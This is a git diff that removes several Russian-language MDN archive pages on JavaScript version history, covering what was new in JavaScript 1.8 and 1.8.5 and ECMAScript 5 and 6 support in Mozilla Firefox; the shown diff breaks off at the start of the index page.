- <td>Возвращает массив всех перечисляемых свойств объекта. {{bug("307791")}}</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames" title="JavaScript/Reference/Global Objects/Object/getOwnPropertyNames"><code>Object.getOwnPropertyNames()</code></a></td>
- <td>Возвращает массив всех перечисляемых и не перечисляемых свойств объекта. {{bug("518663")}}</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions" title="JavaScript/Reference/Global Objects/Object/preventExtensions"><code>Object.preventExtensions()</code></a></td>
- <td>Предотвращает любые расширения объекта. {{bug("492849")}}</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isExtensible" title="JavaScript/Reference/Global Objects/Object/isExtensible"><code>Object.isExtensible()</code></a></td>
- <td>Определяет, разрешено ли расширение объекта. {{bug("492849")}}</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/seal" title="JavaScript/Reference/Global Objects/Object/seal"><code>Object.seal()</code></a></td>
- <td>Запрещает остальному коду удаление свойств объекта {{bug("492845")}}</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isSealed" title="JavaScript/Reference/Global Objects/Object/isSealed"><code>Object.isSealed()</code></a></td>
- <td>Определяет, запрещено ли удаление свойств объекта. {{bug("492845")}}</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze" title="JavaScript/Reference/Global Objects/Object/freezed"><code>Object.freeze()</code></a></td>
- <td>Замораживает объект: остальной код не может удалять или изменять значения его свойств. {{bug("492844")}}</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/isFrozen" title="JavaScript/Reference/Global Objects/Object/isFrozen"><code>Object.isFrozen()</code></a></td>
- <td>Определяет, был ли объект заморожен. {{bug("492844")}}</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray" title="JavaScript/Reference/Global Objects/Array/isArray"><code>Array.isArray()</code></a></td>
- <td>Проверяет, является ли переменная массивом. {{bug("510537")}}</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toJSON" title="JavaScript/Reference/Global Objects/Date/toJSON"><code>Date.prototype.toJSON()</code></a></td>
- <td>Возвращает строку в формате JSON для объекта <code>Date</code>.</td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind" title="JavaScript/Reference/Global_Objects/Function/bind"><code>Function.prototype.bind()</code></a></td>
- <td>Метод <code>bind()</code> создаёт новую функцию, которая при вызове устанавливает в качестве контекста выполнения <code>this</code> предоставленное значение. В метод также передаётся набор аргументов, которые будут установлены перед переданными в привязанную функцию аргументами при её вызове.{{bug("429507")}}</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Новые_возможности_ECMAScript5">Новые возможности ECMAScript5</h3>
-
-<ul>
- <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/get" title="JavaScript/Reference/Operators/Special Operators/get Operator">get</a></code> и <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/set" title="JavaScript/Reference/Operators/Special Operators/set Operator">set</a></code> операторы теперь позволяют идентификатору быть строкой или числом. {{bug("520696")}}</li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="JavaScript/Reference/Global Objects/Function/apply"><code>Function.apply()</code></a> может принимать в качестве списка аргументов не только настоящие массивы, но и подобные массивам объекты.</li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="JavaScript/Strict mode">strict mode support</a></li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/toString" title="JavaScript/Reference/Global Objects/Array/toString"><code>Array.toString()</code></a> теперь работает не только на массивах, возвращая либо результат вызова <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join" title="JavaScript/Reference/Global Objects/Array/join"><code>join()</code></a> , если он доступен, либо вызова  <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString" title="JavaScript/Reference/Global Objects/Object/toString">toString()</a>.</code></li>
-</ul>
-
-<h3 id="Другая_работа_по_стандартизации">Другая работа по стандартизации</h3>
-
-<p>Различные нестандартизованные синтаксические конструкции задания геттеров/сеттеров были удалены; Определенный в  ECMAScript 5 синтаксис изменениям не подвергся. Все они были несколько "эзотерическими" и довольно редко использовались на практике; если эти изменения Вас затронули, прочтите <a href="http://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/">эту статью</a>.</p>
-
-<h3 id="Новые_объекты">Новые объекты</h3>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Объект</th>
- <th scope="col">Описание</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Proxy" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Proxy">Proxy</a></code></td>
- <td>Предлагает поддержку при создании <code>Object</code> и <code>Function</code> прокси, что позволяет использовать метапрограммирование на JavaScript.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Функциональность_изменённая_в_JavaScript_1.8.5">Функциональность, изменённая в JavaScript 1.8.5</h2>
-
-<ul>
- <li>ISO 8601 поддерживается в <code>Date:</code> метод <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/parse" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Date/parse">parse()</a> объекта <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Date">Date</a>  теперь допускает использование формата  ISO 8601 для строкового представления даты.</li>
- <li>Глобальные объекты стали доступны "только для чтения": глобальные объекты <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="JavaScript/Reference/Global Objects/NaN"><code>NaN</code></a>, <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="JavaScript/Reference/Global Objects/Infinity"><code>Infinity</code></a>, и <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined" title="JavaScript/Reference/Global Objects/undefined"><code>undefined</code></a> теперь доступны только для чтения по спецификации ECMAScript 5.</li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/Parent" title="JavaScript/Reference/Global Objects/Object/Parent"><code>obj.__parent__</code></a> и <code>obj.__count__</code> устарели. Больше информации, почему это произошло: <a class="external" href="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/" title="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/">SpiderMonkey change du jour: the special __parent__ property has been removed</a> {{bug("551529")}} &amp; {{bug("552560")}}.</li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse" title="Using native JSON"><code>JSON.parse()</code></a> больше не допускает использование конечных запятых.</li>
-</ul>
diff --git a/files/ru/web/javascript/new_in_javascript/1.8/index.html b/files/ru/web/javascript/new_in_javascript/1.8/index.html
deleted file mode 100644
index 8187682071..0000000000
--- a/files/ru/web/javascript/new_in_javascript/1.8/index.html
+++ /dev/null
@@ -1,38 +0,0 @@
----
-title: New in JavaScript 1.8
-slug: Web/JavaScript/New_in_JavaScript/1.8
-tags:
- - Версии
-translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8
----
-<div>{{jsSidebar("New_in_JS")}}</div>
-
-<p>Следующее описание относится к  JavaScript 1.8. Эта версия была включена в <a href="/ru/docs/Firefox_3_for_developers">Firefox 3</a> является частью Gecko 1.9. {{ Bug("380236") }} – здесь вы можете просмотреть исправленные в процессе разработки JavaScript 1.8 баги.</p>
-
-<h2 id="Использование_JavaScript_1.8">Использование JavaScript 1.8</h2>
-
-<p>Чтобы воспользоваться преимуществами JavaScript 1.8, используйте следующий синтаксис подключения:</p>
-
-<pre class="brush: html"> &lt;script type="application/javascript;version=1.8"&gt; ... your code ... &lt;/script&gt;
-</pre>
-
-<p>Альтернативным методом является использование устаревшего аттрибута <code>language</code> тэга <code>script</code>. Для этого необходимо установить ему значение <code>JavaScript1.8</code>. Этот способ не рекомендуется к применению.</p>
-
-<p>При использовании <a href="/ru/docs/Web/JavaScript/JavaScript_шеллы" title="Introduction_to_the_JavaScript_shell">JavaScript шеллов</a>, JavaScript XPCOM компонент, или XUL <code>&lt;script&gt;</code> элементов, последняя версия JavaScript (JS1.8 в Mozilla 1.9) будет использована автоматически ({{ Bug(381031) }}, {{ Bug(385159) }}).</p>
-
-<p>Нововведения, которые используют ключевые слова <code>yield</code> и <code>let</code> требуют использования Javascript версии 1.7 или выше, потому как существующий код может использовать эти ключевые слова как названия переменных или функций. Остальные нововведения (например, генераторы) могут быть использованы без указания версии JavaScript.</p>
-
-<h2 id="Новое_в_JavaScript_1.8">Новое в JavaScript 1.8</h2>
-
-<ul>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Expression_Closures">Короткий синтаксис определения функций</a></li>
- <li><a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators">Генераторы</a></li>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce"><code>Array.prototype.reduce()</code></a></li>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/ReduceRight"><code>Array.prototype.reduceRight()</code></a></li>
-</ul>
-
-<h2 id="Изменения_в_JavaScript_1.8">Изменения в JavaScript 1.8</h2>
-
-<h3 id="Изменения_в_деструктивном_присваивании">Изменения в деструктивном присваивании</h3>
-
-<p>Багфикс, который был добавлен в  JavaScript 1.8, решает проблему связанную с <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment" title="New in JavaScript 1.7">деструктивным присваиванием</a>, которое было введено в JavaScript 1.7.  Изменен механизм  деструктуризации массивов при использовании <code>for (var [a,b] in array)</code>. Ранее был доступен вызов в форме, описанной выше, однако это вызывало некорректное поведение цикла при работе с итераторами. Проблема решена ({{ Bug("366941") }}). Теперь следует использовать следующий синтаксис: <code>for ( var [key, value] in Iterator(array))</code>.</p>
diff --git a/files/ru/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html b/files/ru/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html
deleted file mode 100644
index 50fbcca8b5..0000000000
--- a/files/ru/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html
+++ /dev/null
@@ -1,46 +0,0 @@
----
-title: Поддержка ECMAScript 5 в Mozilla
-slug: Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla
-tags:
- - ECMAScript5
- - JavaScript
- - Versions
-translation_of: Archive/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla
----
-<p>{{jsSidebar("New_in_JS")}}</p>
-
-<p>Стандарт ECMAScript 5.1, последнее издание стандарта, на котором основан язык JavaScript, был принят в июне 2011 года.</p>
-
-<p>Среда выполнения JavaScript, используемая в последних версиях проектов Mozilla, включающих Firefox и Thunderbird, имеет полную поддержку возможностей ECMAScript 5.1. Эта статья описывает возможности, поддерживаемые разными версиями среды выполнения JavaScript Mozilla.</p>
-
-<h2 id="Supported_features" name="Supported_features">Поддерживаемые возможности</h2>
-
-<h3 id="Added_in_JavaScript_1.8.5_(Gecko_2.2C_Firefox_4_and_later)" name="Added_in_JavaScript_1.8.5_(Gecko_2.2C_Firefox_4_and_later)">Добавленные в JavaScript 1.8.5 (Gecko 2, Firefox 4 и более поздние)</h3>
-
-<p>Firefox 4 имеет полную поддержку стандарта ECMAScript 5, включая методы <code>Object.*</code> и строгий режим. Смотрите статью <a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.8.5">Что нового в JavaScript 1.8.5</a>.</p>
-
-<h3 id="Added_in_JavaScript_1.8.1_(Gecko_1.9.1.2C_Firefox_3.5)" name="Added_in_JavaScript_1.8.1_(Gecko_1.9.1.2C_Firefox_3.5)">Добавленные в JavaScript 1.8.1 (Gecko 1.9.1, Firefox 3.5)</h3>
-
-<ul>
- <li>Родная <a class="internal" href="/ru/docs/Web/JavaScript/Guide/Using_native_JSON">поддержка JSON</a>.</li>
- <li>Метод {{jsxref("Object.getPrototypeOf()")}}.</li>
- <li>Метод {{jsxref("String.trim()")}}, обрезающий пробельные символы с обеих концов строки.</li>
- <li>Gecko 1.9.1.4 обновил реализацию метода {{jsxref("JSON.stringify()", "JSON.stringify()", "Converting_objects_into_JSON")}} для соответствия стандарту ECMAScript 5.</li>
-</ul>
-
-<p>Реализованы улучшения в алгоритме разбора, внесённые ECMAScript 5. Изменения предотвращают рассмотрение XHTML в качестве кода на JavaScript, ранее происходившее в определённых обстоятельствах.</p>
-
-<h3 id="Added_in_JavaScript_1.6_(Gecko_1.8.2C_Firefox_1.5)" name="Added_in_JavaScript_1.6_(Gecko_1.8.2C_Firefox_1.5)">Добавленные в JavaScript 1.6 (Gecko 1.8, Firefox 1.5)</h3>
-
-<p>Новые методы {{jsxref("Global_Objects/Array", "Array")}}, предлагающие некоторые улучшенные возможности по манипулированию массивами, были частью JavaScript начиная с <a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.6">JavaScript 1.6</a>. Теперь они утверждены как часть стандарта ECMAScript 5.</p>
-
-<h2 id="See_also" name="See_also">Смотрите также</h2>
-
-<ul>
- <li><a class="external" href="http://www.ecmascript.org/">Веб-сайт ECMAScript</a></li>
- <li><a class="external" href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">Спецификация стандарта ECMAScript 5.1</a></li>
- <li><a class="external" href="http://es5.javascript.ru/">Перевод спецификации стандарта ECMAScript 5.1 с аннотациями на русский язык</a></li>
- <li>Запись Джона Резига об <a class="external" href="http://ejohn.org/blog/objectgetprototypeof/">Object.getPrototypeOf</a></li>
- <li>Реализация <a class="external" href="http://frugalcoder.us/post/2010/01/07/EcmaScript-5s-Date-Extensions.aspx">дат ECMAScript 5 в JavaScript</a> от Михаила Дж. Риана</li>
- <li><a href="http://kangax.github.io/es5-compat-table/">Поддержка ECMAScript 5 среди браузеров</a></li>
-</ul>
diff --git a/files/ru/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html b/files/ru/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html
deleted file mode 100644
index cfc66e9806..0000000000
--- a/files/ru/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html
+++ /dev/null
@@ -1,222 +0,0 @@
----
-title: Поддержка ECMAScript 6 в Mozilla
-slug: Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla
-tags:
- - ECMAScript6
- - JavaScript
-translation_of: Archive/Web/JavaScript/New_in_JavaScript/ECMAScript_2015_support_in_Mozilla
----
-<p>{{jsSidebar("New_in_JS")}}</p>
-
-<p>ECMAScript 2015 - это новая версия стандарта, имеющая кодовое имя "Harmony","ES.next" или "ECMAScript 6". <a href="http://wiki.ecmascript.org/doku.php?id=harmony:specification_drafts">Черновая спецификация </a>может быть найдена в официальном вики ECMA. Первый рабочий черновик, основанный на ECMAScript 5.1, был опубликован 12 июля 2011 как "ES.next". По состоянию на август 2014 в ECMAScript 2015 больше не принимаются новые функции и ожидается окончание работы над ним в конце 2014 с официальной публикацией в марте 2015.</p>
-
-<p>Для получения обратной связи по стандартам ECMAScript используется канал <a href="https://mail.mozilla.org/listinfo/es-discuss">es-discuss</a>.</p>
-
-<h2 id="Поддерживаемые_функции">Поддерживаемые функции</h2>
-
-<p>Следующие функции уже реализованы в Firefox:</p>
-
-<h2 id="Стандартная_библиотека">Стандартная библиотека</h2>
-
-<h3 id="Дополнения_в_объекте_Array">Дополнения в объекте <code>Array</code></h3>
-
-<ul>
- <li>Обход {{jsxref("Array")}} при помощи <code>for...of</code> (<a href="/en-US/Firefox/Releases/13">Firefox 13</a>)</li>
- <li>{{jsxref("Array.from()")}} (<a href="/en-US/Firefox/Releases/32">Firefox 32</a>)</li>
- <li>{{jsxref("Array.of()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
- <li>{{jsxref("Array.prototype.fill()")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
- <li>{{jsxref("Array.prototype.find()")}}, {{jsxref("Array.prototype.findIndex()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
- <li>{{jsxref("Array.prototype.entries()")}},<br>
- {{jsxref("Array.prototype.keys()")}} (<a href="/en-US/Firefox/Releases/28">Firefox 28</a>)</li>
- <li>{{jsxref("Array.prototype.copyWithin()")}} (<a href="/en-US/Firefox/Releases/32">Firefox 32</a>)</li>
-</ul>
-
-<h3 id="Новые_объекты_Map_и_Set_и_их_слабые_аналоги">Новые объекты <code>Map</code> и <code>Set</code> и их слабые аналоги</h3>
-
-<ul>
- <li>{{jsxref("Map")}} (<a href="/en-US/Firefox/Releases/13">Firefox 13</a>)
-
- <ul>
- <li>Обход {{jsxref("Map")}} при помощи <code>for...of</code> (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li>
- <li>{{jsxref("Map.prototype.forEach()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
- <li>{{jsxref("Map.prototype.entries()")}},<br>
- {{jsxref("Map.prototype.keys()")}},<br>
- {{jsxref("Map.prototype.values()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li>
- </ul>
- </li>
- <li>{{jsxref("Set")}} (<a href="/en-US/Firefox/Releases/13">Firefox 13</a>)
- <ul>
- <li>Обход {{jsxref("Set")}} при помощи <code>for...of</code> (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li>
- <li>{{jsxref("Set.prototype.forEach()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
- <li>{{jsxref("Set.prototype.entries()")}},<br>
- {{jsxref("Set.prototype.keys()")}},<br>
- {{jsxref("Set.prototype.values()")}} (<a href="/en-US/Firefox/Releases/24">Firefox 24</a>)</li>
- </ul>
- </li>
- <li>{{jsxref("WeakMap")}} (<a href="/en-US/Firefox/Releases/6">Firefox 6</a>)
- <ul>
- <li>{{jsxref("WeakMap.clear()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li>
- </ul>
- </li>
- <li>{{jsxref("WeakSet")}} (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
-</ul>
-
-<h3 id="Новые_функции_в_объекте_Math">Новые функции в объекте <code>Math</code></h3>
-
-<ul>
- <li>{{jsxref("Math.imul()")}} (<a href="/en-US/Firefox/Releases/20">Firefox 20</a>)</li>
- <li>{{jsxref("Math.clz32()")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
- <li>{{jsxref("Math.fround()")}} (<a href="/en-US/Firefox/Releases/26">Firefox 26</a>)</li>
- <li>{{jsxref("Math.log10()")}}, {{jsxref("Math.log2()")}}, {{jsxref("Math.log1p()")}}, {{jsxref("Math.expm1()")}}, {{jsxref("Math.cosh()")}}, {{jsxref("Math.sinh()")}}, {{jsxref("Math.tanh()")}}, {{jsxref("Math.acosh()")}}, {{jsxref("Math.asinh()")}}, {{jsxref("Math.atanh()")}}, {{jsxref("Math.hypot()")}}, {{jsxref("Math.trunc()")}}, {{jsxref("Math.sign()")}}, {{jsxref("Math.cbrt()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
-</ul>
-
-<h3 id="Дополнения_в_объекте_Number">Дополнения в объекте <code>Number</code></h3>
-
-<ul>
- <li>{{jsxref("Number.isNaN()")}} (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li>
- <li>{{jsxref("Number.isFinite()")}} (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li>
- <li>{{jsxref("Number.isInteger()")}} (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li>
- <li>{{jsxref("Number.parseInt()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
- <li>{{jsxref("Number.parseFloat()")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
- <li>{{jsxref("Number.EPSILON")}} (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
- <li>{{jsxref("Number.MAX_SAFE_INTEGER")}}, {{jsxref("Number.MIN_SAFE_INTEGER")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
- <li>{{jsxref("Number.isSafeInteger()")}} (<a href="/en-US/Firefox/Releases/32">Firefox 32</a>)</li>
-</ul>
-
-<h3 id="Дополнения_в_объекте_Object">Дополнения в объекте <code>Object</code></h3>
-
-<ul>
- <li>{{jsxref("Object.is()")}} (<a href="/en-US/Firefox/Releases/22">Firefox 22</a>)</li>
- <li>{{jsxref("Object.setPrototypeOf()")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
- <li>{{jsxref("Object.assign()")}} (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
- <li>{{jsxref("Object.getOwnPropertySymbols()")}} (<a href="/en-US/Firefox/Releases/33">Firefox 33</a>)</li>
-</ul>
-
-<h3 id="Новый_объект_Promise">Новый объект <code>Promise</code></h3>
-
-<ul>
- <li>{{jsxref("Promise")}} (<a href="/en-US/Firefox/Releases/24">Firefox 24</a>, включён по умолчанию в <a href="/en-US/Firefox/Releases/29">Firefox 29</a>)</li>
-</ul>
-
-<h3 id="Дополнения_в_объекте_RegExp">Дополнения в объекте <code>RegExp</code></h3>
-
-<ul>
- <li>В {{jsxref("RegExp")}} добавлен "липкий" флаг (y) (<a href="/en-US/Firefox/Releases/3">Firefox 3</a>)</li>
-</ul>
-
-<h3 id="Дополнения_в_объекте_String">Дополнения в объекте <code>String</code></h3>
-
-<ul>
- <li>{{jsxref("String.fromCodePoint()")}} (<a href="/en-US/Firefox/Releases/29">Firefox 29</a>)</li>
- <li>{{jsxref("String.prototype.codePointAt()")}} (<a href="/en-US/Firefox/Releases/29">Firefox 29</a>)</li>
- <li>{{jsxref("String.prototype.startsWith()")}}, {{jsxref("String.prototype.endsWith()")}} (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li>
- <li>{{jsxref("String.prototype.contains()")}} (<a href="/en-US/Firefox/Releases/17">Firefox 17</a>)</li>
- <li>{{jsxref("String.prototype.repeat()")}} (<a href="/en-US/Firefox/Releases/24">Firefox 24</a>)</li>
- <li>{{jsxref("String.prototype.normalize()")}} (<a href="/en-US/Firefox/Releases/31">Firefox 31</a>)</li>
- <li>{{jsxref("String.raw()")}} (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
-</ul>
-
-<h3 id="Новый_объект_Symbol">Новый объект <code>Symbol</code></h3>
-
-<ul>
- <li>{{jsxref("Symbol")}} (<a href="/en-US/Firefox/Releases/36">Firefox 36</a>)</li>
- <li>{{jsxref("Symbol.for()")}} - глобальный реестр символов</li>
-</ul>
-
-<h3 id="Типизированные_массивы">Типизированные массивы</h3>
-
-<p>Типизированные массивы стали часть спецификации ECMAScript 2015, а не только <a href="https://www.khronos.org/registry/typedarray/specs/latest/">своей собственной</a>.</p>
-
-<ul>
- <li>{{jsxref("ArrayBuffer")}}</li>
- <li>{{jsxref("DataView")}}</li>
- <li>{{jsxref("Int8Array")}}</li>
- <li>{{jsxref("Uint8Array")}}</li>
- <li>{{jsxref("Uint8ClampedArray")}}</li>
- <li>{{jsxref("Int16Array")}}</li>
- <li>{{jsxref("Uint16Array")}}</li>
- <li>{{jsxref("Int32Array")}}</li>
- <li>{{jsxref("Uint32Array")}}</li>
- <li>{{jsxref("Float32Array")}}</li>
- <li>{{jsxref("Float64Array")}}</li>
-</ul>
-
-<h2 id="Выражения_и_операторы">Выражения  и операторы</h2>
-
-<ul>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Spread_operator">Оператор распространения в массивах</a> (<a href="/en-US/Firefox/Releases/16">Firefox 16</a>)</li>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Spread_operator">Оператор распространения при вызовах функций</a> (<a href="/en-US/Firefox/Releases/27">Firefox 27</a>)</li>
-</ul>
-
-<h2 id="Операторы">Операторы</h2>
-
-<ul>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Statements/for...of"><code>for...of</code></a> (<a href="/en-US/Firefox/Releases/13">Firefox 13</a>)</li>
-</ul>
-
-<h2 id="Функции">Функции</h2>
-
-<ul>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">Оставшиеся параметры</a> (<a href="/en-US/Firefox/Releases/15">Firefox 15</a>)</li>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">Параметры по умолчанию</a> (<a href="/en-US/Firefox/Releases/15">Firefox 15</a>)</li>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Стрелочные функции</a> (<a href="/en-US/Firefox/Releases/22">Firefox 22</a>)</li>
-</ul>
-
-<h2 id="Другие_возможности">Другие возможности</h2>
-
-<ul>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Lexical_grammar#Numeric_literals">Двоичные и восьмеричные литералы</a> (<a href="/en-US/Firefox/Releases/25">Firefox 25</a>)</li>
- <li>Вычисляемые названия свойств (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
- <li><a href="/ru/docs/Web/JavaScript/Reference/template_strings">Шаблонные строки</a> (<a href="/en-US/Firefox/Releases/34">Firefox 34</a>)</li>
-</ul>
-
-<h2 id="Стабилизируемые_и_обсуждаемые_функции">Стабилизируемые и обсуждаемые функции</h2>
-
-<p>Следующие функции частично реализованы в Firefox, но были добавлены до принятия стандарта ES2015 или ещё обсуждаются в стандарте ECMA TC39.</p>
-
-<ul>
- <li><a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators">Устаревшие итераторы и генераторы</a> (<a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.7">JS 1.7</a>, <a href="/en-US/Firefox/Releases/2">Firefox 2</a>)
-
- <ul>
- <li>Итераторы и <a href="/ru/docs/Web/JavaScript/Reference/Statements/function*">генераторы</a> ES2015 реализованы в Firefox 26 и выше.</li>
- </ul>
- </li>
- <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Деструктивное присваивание</a> (<a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.7">JS 1.7</a>, <a href="/en-US/Firefox/Releases/2">Firefox 2</a>) (соответствие ES2015 {{bug("950547")}})</li>
- <li>{{jsxref("Statements/const", "const")}} (<a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.5">JS 1.5</a>, Firefox 1.0) (соответствие ES2015 {{bug("950547")}})</li>
- <li>{{jsxref("Statements/let", "let")}} (<a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.7">JS 1.7</a>, <a href="/en-US/Firefox/Releases/2">Firefox 2</a>) (соответствие ES2015 {{bug("950547")}})</li>
- <li>{{jsxref("Proxy", "Прокси")}} (<a href="/en-US/Firefox/Releases/18">Firefox 18</a>) (соответствие ES2015 {{bug("978228")}})</li>
-</ul>
-
-<h2 id="Не_реализованные_функции">Не реализованные функции</h2>
-
-<p>Следующие функции включены в черновик спецификации ECMAScript 2015, но пока не реализованы в Firefox:</p>
-
-<ul>
- <li>Module ({{bug("568953")}})
- <ul>
- <li>Loader API</li>
- <li><code>import</code> синтаксис</li>
- <li><code>export</code> синтаксис</li>
- </ul>
- </li>
- <li><code>class</code> синтаксис ({{bug("837314")}})</li>
- <li>{{jsxref("Array.prototype.values()")}} ({{bug("875433")}})</li>
- <li>Reflect API ({{bug("987514")}})</li>
- <li>Экранирование \u{nnnnnn} в Unicode ({{bug("952985")}})</li>
- <li>Широко используемые символы</li>
- <li>{{jsxref("RegExp.prototype.match()")}},<br>
- {{jsxref("RegExp.prototype.replace()")}},<br>
- {{jsxref("RegExp.prototype.search()")}},<br>
- {{jsxref("RegExp.prototype.split()")}}</li>
- <li>Флаг "u" в RegExp</li>
- <li>{{jsxref("Function.prototype.toMethod()")}}</li>
-</ul>
-
-<h2 id="Смотрите_также">Смотрите также</h2>
-
-<ul>
- <li><a href="http://www.ecmascript.org/">Сайт ECMAScript</a></li>
- <li><a href="http://wiki.ecmascript.org/doku.php?id=harmony:specification_drafts">Черновик спецификации ECMAScript 2015</a></li>
- <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=694100">Система отслеживания ошибок Mozilla ES2015</a></li>
- <li><a href="http://kangax.github.io/es5-compat-table/es6" title="http://kangax.github.io/es5-compat-table">Поддержка ECMAScript 2015 в различных браузерах</a></li>
-</ul>
diff --git a/files/ru/web/javascript/new_in_javascript/index.html b/files/ru/web/javascript/new_in_javascript/index.html
deleted file mode 100644
index f01f13834f..0000000000
--- a/files/ru/web/javascript/new_in_javascript/index.html
+++ /dev/null
@@ -1,80 +0,0 @@
----
-title: Что нового в JavaScript
-slug: Web/JavaScript/New_in_JavaScript
-tags:
- - JavaScript
- - Versions
-translation_of: Archive/Web/JavaScript/New_in_JavaScript
----
-<p>{{jsSidebar("New_in_JS")}}</p>
-
-<p>Эта глава содержит информацию об истории версий JavaScript и статусе их реализаций в основанных на Mozilla/SpiderMonkey JavaScript-приложениях, таких, как Firefox.</p>
-
-<h2 id="ECMAScript_versions" name="ECMAScript_versions">Версии ECMAScript</h2>
-
-<dl>
